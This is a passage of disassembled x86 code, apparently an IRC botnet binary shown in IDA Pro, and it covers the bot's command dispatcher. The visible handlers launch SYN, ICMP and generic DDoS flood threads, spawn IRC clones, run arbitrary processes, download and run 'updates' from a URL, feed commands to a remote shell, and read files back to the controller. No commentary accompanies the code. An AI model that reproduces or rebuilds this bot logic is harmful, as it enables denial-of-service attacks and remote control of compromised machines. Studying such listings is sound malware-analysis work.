		push	offset aSynFailedToSta ; "[SYN]: Failed	to start flood thread, er"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40C704:				; CODE XREF: sub_409557+3186j
		cmp	[ebp+var_8], ebx
		jnz	loc_40B858
		push	ebx
		push	esi
		jmp	loc_40B840
; ---------------------------------------------------------------------------


loc_40C714:				; CODE XREF: sub_409557+1E8Cj
					; sub_409557+1EA3j ...
		push	7Fh
		lea	eax, [ebp+var_7F0]
		pop	esi
		push	esi		; Count
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_770]
		push	[ebp+Str1]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_6F0]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_670]
		push	[ebp+var_8C]	; Source
		push	eax		; Dest
		call	_strncpy
		push	20h		; Count
		lea	eax, [ebp+var_5F0]
		push	[ebp+Dest]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		push	[ebp+Src]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		push	[ebp+Str1]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+Dst]
		push	edi
		push	offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for	%s second"...
		push	eax		; Dest
		mov	[ebp+var_7F8], esi
		call	_sprintf
		add	esp, 50h
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	0Ah		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 0Ch
		mov	[ebp+var_7F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_4030D9
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_7F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40C7FC


loc_40C7E6:				; CODE XREF: sub_409557+32A3j
		cmp	[ebp+var_568], ebx
		jnz	loc_40BC76
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40C7E6
; ---------------------------------------------------------------------------


loc_40C7FC:				; CODE XREF: sub_409557+328Dj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aDdosFailedToSt ; "[DDoS]: Failed to start flood	thread,	e"...


loc_40C808:				; CODE XREF: sub_409557+2701j
					; sub_409557+284Cj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		jmp	loc_40BC73
; ---------------------------------------------------------------------------


loc_40C819:				; CODE XREF: sub_409557+1E5Ej
					; sub_409557+1E75j
		push	7Fh		; Count
		lea	eax, [ebp+var_444]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Str1]	; Str
		call	_atoi
		push	3Fh		; Count
		mov	[ebp+var_2F4], eax
		push	[ebp+Src]	; Source
		lea	eax, [ebp+var_3C4]
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+Str]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40C867
		push	3Fh		; Count
		lea	eax, [ebp+var_384]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_40C867:				; CODE XREF: sub_409557+32FCj
		lea	eax, [ebp+var_3C4]
		mov	[ebp+var_2F0], 1
		push	eax
		lea	eax, [ebp+var_444]
		push	[ebp+var_2F4]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	17h		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 20h
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_448]
		push	ebx
		push	eax
		push	offset sub_409277
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_2EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40C8F3


loc_40C8DD:				; CODE XREF: sub_409557+339Aj
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40B799
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40C8DD
; ---------------------------------------------------------------------------


loc_40C8F3:				; CODE XREF: sub_409557+3384j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"...
		jmp	loc_40B78A
; ---------------------------------------------------------------------------


loc_40C904:				; CODE XREF: sub_409557+1E1Ej
					; sub_409557+1E35j
		push	[ebp+Str1]	; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_578], eax
		jle	loc_40C9F5
		mov	esi, 80h
		push	edi		; Format
		lea	eax, [ebp+var_700]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		xor	eax, eax
		cmp	[ebp+var_9A2], bl
		push	[ebp+var_8C]	; Format
		setnz	al
		mov	[ebp+var_574], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_704], eax
		lea	eax, [ebp+var_600]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		push	[ebp+Str1]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		push	edi
		push	offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s	seconds."
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Dh		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 38h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_704]
		push	ebx
		push	eax
		push	offset sub_40588C
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40C9E4


loc_40C9CE:				; CODE XREF: sub_409557+348Bj
		cmp	[ebp+var_568], ebx
		jnz	loc_40B837
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40C9CE
; ---------------------------------------------------------------------------


loc_40C9E4:				; CODE XREF: sub_409557+3475j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood	thread,	e"...
		jmp	loc_40B828
; ---------------------------------------------------------------------------


loc_40C9F5:				; CODE XREF: sub_409557+33BEj
		push	offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood	time must be grea"...
		jmp	loc_40DFA0
; ---------------------------------------------------------------------------


loc_40C9FF:				; CODE XREF: sub_409557+1DF0j
					; sub_409557+1E07j
		push	[ebp+Str1]
		push	edi
		call	ds:dword_41B128	; MoveFileA
		test	eax, eax
		jz	short loc_40CA2C
		push	[ebp+Str1]
		lea	eax, [ebp+Dst]
		push	edi
		push	offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'."
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_40CA4B
; ---------------------------------------------------------------------------


loc_40CA2C:				; CODE XREF: sub_409557+34B4j
		push	offset aFile	; "[FILE]:"
		call	sub_40703D
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h


loc_40CA4B:				; CODE XREF: sub_409557+1822j
					; sub_409557+1848j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40CA6C
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h


loc_40CA6C:				; CODE XREF: sub_409557+1050j
					; sub_409557+34F7j ...
		push	1
		pop	esi


loc_40CA6F:				; CODE XREF: sub_409557+3772j
					; sub_409557+3ED6j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		pop	ecx
		mov	eax, esi
		jmp	loc_4099D5
; ---------------------------------------------------------------------------


loc_40CA83:				; CODE XREF: sub_409557+1DC2j
					; sub_409557+1DD9j
		push	44h
		lea	eax, [ebp+var_48C]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	1
		mov	[ebp+var_48C], esi
		pop	esi
		mov	word ptr [ebp+var_45C],	bx
		push	edi		; Str
		mov	[ebp+var_460], esi
		call	_atoi
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_40CAC0
		mov	word ptr [ebp+var_45C],	5


loc_40CAC0:				; CODE XREF: sub_409557+355Ej
		cmp	[ebp+var_C], ebx
		jz	loc_40B799
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40B799
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_48C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	ds:dword_41B094	; CreateProcessA
		test	eax, eax
		jnz	short loc_40CB0B
		push	offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file."
		jmp	loc_40D4DD
; ---------------------------------------------------------------------------


loc_40CB0B:				; CODE XREF: sub_409557+35A8j
		push	edi
		push	offset aExecCommandsS ;	"[EXEC]: Commands: %s"
		jmp	loc_40B78A
; ---------------------------------------------------------------------------


loc_40CB16:				; CODE XREF: sub_409557+1D94j
					; sub_409557+1DABj
		push	[ebp+Str1]	; Str2
		push	offset aFenr	; "FEnR"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC92
		lea	eax, [ebp+FullPath]
		push	eax
		push	104h
		call	ds:dword_41B0F4	; GetTempPathA
		push	0FFh		; Count
		lea	eax, [ebp+var_788]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40F72B
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		lea	eax, [ebp+var_688]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_584], 1
		mov	[ebp+var_580], ebx
		jz	short loc_40CBA8
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_40CBAE
; ---------------------------------------------------------------------------


loc_40CBA8:				; CODE XREF: sub_409557+363Bj
		mov	[ebp+var_578], ebx


loc_40CBAE:				; CODE XREF: sub_409557+364Fj
		mov	esi, [ebp+esi+Str]
		cmp	esi, ebx
		jz	short loc_40CBC8
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_40CBCE
; ---------------------------------------------------------------------------


loc_40CBC8:				; CODE XREF: sub_409557+3660j
		mov	[ebp+var_57C], ebx


loc_40CBCE:				; CODE XREF: sub_409557+366Fj
		movzx	eax, [ebp+var_9AF]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+var_8C]	; Source
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_808]
		mov	[ebp+var_80C], esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		lea	eax, [ebp+Dst]
		push	offset aUpdateDownload ; "[UPDATE]: Downloading	update from: %s."
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	16h		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 24h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_403520
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40CC75


loc_40CC63:				; CODE XREF: sub_409557+371Cj
		cmp	[ebp+var_568], ebx
		jnz	short loc_40CCA5
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40CC63
; ---------------------------------------------------------------------------


loc_40CC75:				; CODE XREF: sub_409557+370Aj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"...


loc_40CC81:				; CODE XREF: sub_409557+3DC5j
					; sub_409557+3F1Aj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf


loc_40CC8D:				; CODE XREF: sub_409557+49C8j
		add	esp, 0Ch
		jmp	short loc_40CCA5
; ---------------------------------------------------------------------------


loc_40CC92:				; CODE XREF: sub_409557+35D0j
		push	offset aUpdateBotIdMus ; "[UPDATE]: Bot	ID must	be different than"...


loc_40CC97:				; CODE XREF: sub_409557+18ABj
					; sub_409557+192Fj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40CCA5:				; CODE XREF: sub_409557+18B3j
					; sub_409557+190Dj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40CCC6
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h


loc_40CCC6:				; CODE XREF: sub_409557+3751j
					; sub_409557+3DBAj ...
		mov	esi, [ebp+File]
		jmp	loc_40CA6F
; ---------------------------------------------------------------------------


loc_40CCCE:				; CODE XREF: sub_409557+1D66j
					; sub_409557+1D7Dj
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099D2
		cmp	[ebp+var_C], ebx
		jz	loc_4099D2
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_8C]
		push	dword ptr [ebp+Args]
		push	[ebp+Str2]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		push	edi		; Str
		call	_atoi
		add	esp, 30h
		test	eax, eax
		jle	short loc_40CD55
		push	edi		; Str
		call	_atoi
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_41B048	; Sleep


loc_40CD55:				; CODE XREF: sub_409557+37E8j
		push	offset aMainDelay_ ; "[MAIN]: Delay."
		call	sub_402D63
		mov	eax, [ebp+File]
		pop	ecx
		inc	eax
		jmp	loc_4099D5
; ---------------------------------------------------------------------------


loc_40CD69:				; CODE XREF: sub_409557+1D38j
					; sub_409557+1D4Fj
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099D2
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		mov	eax, [ebp+Str1]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax		; Str1
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_40CE25
		push	[ebp+var_8C]
		lea	eax, [ebp+Dst]
		push	dword ptr [ebp+Args]
		push	[ebp+Str2]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		push	esi
		lea	eax, [ebp+Dst]
		push	offset aMainRepeatS ; "[MAIN]: Repeat: %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		push	edi		; Str
		call	_atoi
		add	esp, 38h
		test	eax, eax
		jle	loc_40E7D9
		push	edi		; Str
		call	_atoi
		add	eax, [ebp+File]
		pop	ecx
		jmp	loc_4099D5
; ---------------------------------------------------------------------------


loc_40CE25:				; CODE XREF: sub_409557+3857j
		push	offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in	command	l"...
		jmp	loc_40B78A
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_409557+1D0Aj
					; sub_409557+1D21j
		push	[ebp+Str1]
		lea	eax, [ebp+Dst]
		push	offset aPartS	; "PART	%s"
		push	eax		; Dest
		call	_sprintf
		push	edi		; Str
		call	_atoi
		add	esp, 10h


loc_40CE4C:				; CODE XREF: sub_409557+395Fj
		test	eax, eax
		jle	loc_40E7D9
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E7D9


loc_40CE66:				; CODE XREF: sub_409557+4043j
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_0	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43054C[eax] ; int
		call	sub_405E1E


loc_40CE8A:				; CODE XREF: sub_409557+5003j
		add	esp, 0Ch
		jmp	loc_40E7D9
; ---------------------------------------------------------------------------


loc_40CE92:				; CODE XREF: sub_409557+1CDCj
					; sub_409557+1CF3j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+Dst]
		push	[ebp+Str1]
		push	offset aJoinSS_0 ; "JOIN %s %s"
		push	eax		; Dest
		call	_sprintf
		push	edi		; Str
		call	_atoi
		add	esp, 14h
		jmp	short loc_40CE4C
; ---------------------------------------------------------------------------


loc_40CEB8:				; CODE XREF: sub_409557+1CAEj
					; sub_409557+1CC5j
		push	[ebp+Str1]
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		push	edi		; Str
		call	_atoi
		add	esp, 10h
		test	eax, eax
		jle	loc_40E7D9
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E7D9
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_0	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43054C[eax] ; int
		call	sub_405E1E
		push	[ebp+Str1]
		push	edi		; Args
		push	offset aCloneNickSS ; "[CLONE]:	Nick (%s): %s"


loc_40CF1C:				; CODE XREF: sub_409557+3A4Fj
					; sub_409557+3ABAj ...
		call	sub_402DD7


loc_40CF21:				; CODE XREF: sub_409557+4CD0j
		add	esp, 18h
		jmp	loc_40E7D9
; ---------------------------------------------------------------------------


loc_40CF29:				; CODE XREF: sub_409557+1C80j
					; sub_409557+1C97j
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40CF5A
		push	esi
		lea	eax, [ebp+Dst]
		push	offset aModeS	; "MODE	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40CF5A:				; CODE XREF: sub_409557+39ECj
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_40E7D9
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E7D9
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_0	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43054C[eax] ; int
		call	sub_405E1E
		push	esi
		push	edi
		push	offset aCloneModeSS ; "[CLONE]:	Mode (%s): %s"
		jmp	loc_40CF1C
; ---------------------------------------------------------------------------


loc_40CFAB:				; CODE XREF: sub_409557+1C52j
					; sub_409557+1C69j
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40E7D9
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_40E7D9
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E7D9
		push	esi		; Args
		push	offset aS_0	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43054C[eax] ; int
		call	sub_405E1E
		push	esi
		push	edi
		push	offset aCloneRawSS ; "[CLONE]: Raw (%s): %s"
		jmp	loc_40CF1C
; ---------------------------------------------------------------------------


loc_40D016:				; CODE XREF: sub_409557+1C24j
					; sub_409557+1C3Bj
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40E7D9
		push	esi		; Args
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	esi		; Args
		push	offset aMainModeChange ; "[MAIN]: Mode change: %s"


loc_40D048:				; CODE XREF: sub_409557+41E6j
					; sub_409557+41FFj ...
		call	sub_402DD7


loc_40D04D:				; CODE XREF: sub_409557+3B5Fj
		add	esp, 14h
		jmp	loc_40E7D9
; ---------------------------------------------------------------------------


loc_40D055:				; CODE XREF: sub_409557+1BF6j
					; sub_409557+1C0Dj
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099D2
		push	[ebp+Str1]	; Args
		push	offset aPartS_0	; "PART	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	edi		; Str
		call	_atoi
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_41B048	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+Str1]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	offset aMainCycle_ ; "[MAIN]: Cycle."
		call	sub_402D63
		jmp	short loc_40D04D
; ---------------------------------------------------------------------------


loc_40D0B8:				; CODE XREF: sub_409557+1BC8j
					; sub_409557+1BDFj
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	edi		; Str
		call	_strlen
		push	[ebp+Dest]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Str1]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40E7D9
		push	esi
		lea	eax, [ebp+Dst]
		push	offset dword_42653C ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	edi		; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		push	esi
		push	edi		; Args
		push	offset aMainActionSS_ ;	"[MAIN]: Action: %s: %s."
		call	sub_402DD7
		add	esp, 2Ch
		jmp	loc_40E7D9
; ---------------------------------------------------------------------------


loc_40D126:				; CODE XREF: sub_409557+1B9Aj
					; sub_409557+1BB1j
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	edi		; Str
		call	_strlen
		push	[ebp+Dest]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Str1]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40E7D9
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	edi		; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		push	esi
		push	edi		; Args
		push	offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s."
		call	sub_402DD7
		jmp	loc_40BDF3
; ---------------------------------------------------------------------------


loc_40D179:				; CODE XREF: sub_409557+1B6Cj
					; sub_409557+1B83j
		cmp	[ebp+var_C], ebx
		jz	loc_4099D2
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4099D2
		push	eax		; int
		push	edi		; Str2
		call	sub_402C6B
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aMainAliasAdded ; "[MAIN]: Alias	added: %s."
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	loc_40B837
; ---------------------------------------------------------------------------


loc_40D1B8:				; CODE XREF: sub_409557+1B2Cj
					; sub_409557+1B43j
		push	edi		; SubStr
		push	[ebp+arg_1C]	; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E7D9
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40D255
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40D23D
		push	esi
		lea	eax, [ebp+Dst]
		push	[ebp+var_8C]
		push	dword ptr [ebp+Args]
		push	[ebp+Str2]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		push	esi
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command:	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 34h
		inc	[ebp+File]
		jmp	loc_40E43D
; ---------------------------------------------------------------------------


loc_40D23D:				; CODE XREF: sub_409557+3C8Ej
		lea	eax, [ebp+Dst]
		push	offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"...
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40E43D
; ---------------------------------------------------------------------------


loc_40D255:				; CODE XREF: sub_409557+3C7Dj
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_411139
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		push	edi
		push	offset aMainGethostS_ ;	"[MAIN]: Gethost: %s."
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 24h
		jmp	loc_40E43D
; ---------------------------------------------------------------------------


loc_40D29C:				; CODE XREF: sub_409557+1781j
					; sub_409557+1798j
		push	offset aR	; "r"
		push	edi		; Filename
		call	_fopen
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40D316
		mov	ebx, 200h
		push	esi		; File
		lea	eax, [ebp+Dst]
		push	ebx		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 0Ch


loc_40D2C5:				; CODE XREF: sub_409557+3D9Dj
		test	eax, eax
		jz	short loc_40D2F6
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		push	esi		; File
		lea	eax, [ebp+Dst]
		push	ebx		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 20h
		jmp	short loc_40D2C5
; ---------------------------------------------------------------------------


loc_40D2F6:				; CODE XREF: sub_409557+3D70j
		push	esi		; File
		call	_fclose
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aMainReadFileCo ; "[MAIN]: Read file complete: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	loc_40CCC6
; ---------------------------------------------------------------------------


loc_40D316:				; CODE XREF: sub_409557+3D56j
		push	edi
		push	offset aMainReadFileFa ; "[MAIN]: Read file failed: %s"
		jmp	loc_40CC81
; ---------------------------------------------------------------------------


loc_40D321:				; CODE XREF: sub_409557+1753j
					; sub_409557+176Aj
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40E7D9
		push	offset asc_42002C ; "\n"
		push	esi		; Dest
		call	_strcat
		push	esi		; Str
		call	sub_40EDEE
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D361
		push	offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell."
		jmp	loc_40D4DD
; ---------------------------------------------------------------------------


loc_40D361:				; CODE XREF: sub_409557+3DFEj
		push	esi
		push	offset aCmdCommandsS ; "[CMD]: Commands: %s"
		jmp	loc_40E42E
; ---------------------------------------------------------------------------


loc_40D36C:				; CODE XREF: sub_409557+1725j
					; sub_409557+173Cj
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
